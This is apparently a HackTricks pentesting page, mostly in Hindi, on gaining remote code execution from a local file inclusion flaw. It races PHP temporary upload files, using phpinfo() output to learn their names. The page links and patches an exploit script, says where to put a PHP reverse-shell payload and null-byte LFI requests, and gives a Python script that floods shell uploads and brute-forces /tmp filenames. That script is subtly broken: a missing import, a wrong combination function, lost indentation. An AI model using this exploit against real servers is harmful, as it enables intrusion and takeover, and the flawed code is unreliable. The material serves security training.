LFI2RCE via phpinfo()

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

इस कमजोरियों का फायदा उठाने के लिए आपको आवश्यकता है: एक LFI कमजोरी, एक पृष्ठ जहां phpinfo() प्रदर्शित होता है, "file_uploads = on" और सर्वर को "/tmp" निर्देशिका में लिखने में सक्षम होना चाहिए।

https://www.insomniasec.com/downloads/publications/phpinfolfi.py

Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s

आपको एक्सप्लॉइट को ठीक करने की आवश्यकता है ( => को => में बदलें)। ऐसा करने के लिए आप कर सकते हैं:

sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py

You have to change also the payload at the beginning of the exploit (for a php-rev-shell for example), the REQ1 (this should point to the phpinfo page and should have the padding included, i.e.: REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1), and LFIREQ (this should point to the LFI vulnerability, i.e.: LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r -- Check the double "%" when exploiting null char)

212KB
LFI-With-PHPInfo-Assistance.pdf
pdf

सिद्धांत

यदि PHP में अपलोड की अनुमति है और आप एक फ़ाइल अपलोड करने की कोशिश करते हैं, तो यह फ़ाइल एक अस्थायी निर्देशिका में संग्रहीत होती है जब तक कि सर्वर अनुरोध को संसाधित नहीं कर लेता, फिर यह अस्थायी फ़ाइल हटा दी जाती है।

फिर, यदि आपने वेब सर्वर में LFI भेद्यता पाई है, तो आप अस्थायी फ़ाइल के नाम का अनुमान लगाने की कोशिश कर सकते हैं और इसे हटाए जाने से पहले अस्थायी फ़ाइल तक पहुँचकर RCE का शोषण कर सकते हैं।

Windows में फ़ाइलें आमतौर पर C:\Windows\temp\php में संग्रहीत होती हैं।

linux में फ़ाइल का नाम आमतौर पर random होता है और यह /tmp में स्थित होता है। चूंकि नाम यादृच्छिक है, इसलिए अस्थायी फ़ाइल का नाम कहीं से निकालना आवश्यक है और इसे हटाए जाने से पहले एक्सेस करना आवश्यक है। यह phpconfig() फ़ंक्शन की सामग्री के भीतर variable $_FILES के मान को पढ़कर किया जा सकता है।

phpinfo()

PHP एक 4096B का बफर का उपयोग करता है और जब यह पूर्ण होता है, तो इसे क्लाइंट को भेजा जाता है। फिर क्लाइंट कई बड़े अनुरोध भेज सकता है (बड़े हेडर का उपयोग करते हुए) एक php रिवर्स शेल अपलोड करते हुए, phpinfo() के पहले भाग के लौटने का इंतजार करें (जहां अस्थायी फ़ाइल का नाम है) और LFI भेद्यता का शोषण करते हुए php सर्वर द्वारा फ़ाइल हटाए जाने से पहले अस्थायी फ़ाइल तक पहुँचने की कोशिश करें

Python script to try to bruteforce the name (if length = 6)

import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)


print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text:  # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)

print('[x] Something went wrong, please try again')

सीखें और AWS हैकिंग का अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE) सीखें और GCP हैकिंग का अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

Last updated